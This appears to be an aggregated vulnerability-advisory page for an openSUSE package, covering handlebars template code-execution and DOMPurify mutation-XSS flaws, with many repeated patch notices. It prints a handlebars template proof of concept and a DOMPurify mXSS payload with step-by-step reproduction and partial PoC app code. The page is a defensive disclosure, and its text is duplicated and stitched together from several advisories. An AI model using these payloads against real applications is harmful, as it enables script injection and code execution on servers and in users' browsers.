CVE-2026-65914

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

DOMPurify before 3.3.2 contains a mutation-XSS vulnerability when sanitized HTML is reinserted into special parsing contexts using innerHTML with wrappers like script, xmp, iframe, noembed, noframes, or noscript. Attackers can craft payloads with closing sequences that break out of the wrapper context during reparsing, reactivating dangerous markup with event handlers to execute JavaScript.

DOMPurify before 3.3.2 contains a mutation-XSS vulnerability when sanitized HTML is reinserted into special parsing contexts using innerHTML with wrappers like script, xmp, iframe, noembed, noframes, or noscript. Attackers can craft payloads with closing sequences that break out of the wrapper context during reparsing, reactivating dangerous markup with event handlers to execute JavaScript.

DOMPurify before 3.3.2 contains a mutation-XSS vulnerability when sanitized HTML is reinserted into special parsing contexts using innerHTML with wrappers like script, xmp, iframe, noembed, noframes, or noscript. Attackers can craft payloads with closing sequences that break out of the wrapper context during reparsing, reactivating dangerous markup with event handlers to execute JavaScript.

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:

	{{#with split as |a|}}
		{{pop (push "alert('Vulnerable Handlebars JS');")}}
		{{#with (concat (lookup join (slice 0 1)))}}
			{{#each (slice 2 3)}}
				{{#with (apply 0 a)}}
					{{.}}
				{{/with}}
			{{/each}}
		{{/with}}
	{{/with}}
{{/with}}```


## Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

1. Start the PoC app:

npm install
npm start

2. Open http://localhost:3001.
3. Set Wrapper en sink to xmp.
4. Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

5. Click Sanitize + Render.
6. Observe:

• Sanitized response still contains the </xmp> sequence inside alt.
• The sink reparses to include <img src="x" onerror="alert('expoc')">.
• alert('expoc') is triggered.

7. Files:

• index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

     …

Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.

Recommendation

For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.

DOMPurify before 3.3.2 contains a mutation-XSS vulnerability when sanitized HTML is reinserted into special parsing contexts using innerHTML with wrappers like script, xmp, iframe, noembed, noframes, or noscript. Attackers can craft payloads with closing sequences that break out of the wrapper context during reparsing, reactivating dangerous markup with event handlers to execute JavaScript.

TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.

TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 2.5.8-tuxcare.2.

TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.1.6-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.1.

TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.3-tuxcare.2.

TuxCare rebuilt dompurify to address 16 CVEs. Fixed in 2.4.0-tuxcare.1.

TuxCare rebuilt dompurify to address 14 CVEs. Fixed in 2.4.7-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.3.

TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.7-tuxcare.1.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 2.3.0-tuxcare.5.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.0.3-tuxcare.5.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 2.4.3-tuxcare.8.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.1.3-tuxcare.2.

TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 2.3.3-tuxcare.2.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.1.4-tuxcare.2.

TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 3.0.2-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.9-tuxcare.2.

TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.0.8-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.1-tuxcare.2.

TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 3.1.0-tuxcare.2.

TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.0.11-tuxcare.2.

TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.1-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.6-tuxcare.2.

TuxCare rebuilt dompurify to address 6 CVEs. Fixed in 3.0.6-tuxcare.3.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 2.0.8-tuxcare.3.

TuxCare rebuilt dompurify to address 13 CVEs. Fixed in 2.3.10-tuxcare.3.

TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.0.5-tuxcare.2.

TuxCare rebuilt dompurify to address 5 CVEs. Fixed in 3.0.4-tuxcare.2.

TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.1.2-tuxcare.3.

TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.4.0-tuxcare.8.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.

Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-h8r8-wccr-v5f2 in the dompurify package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.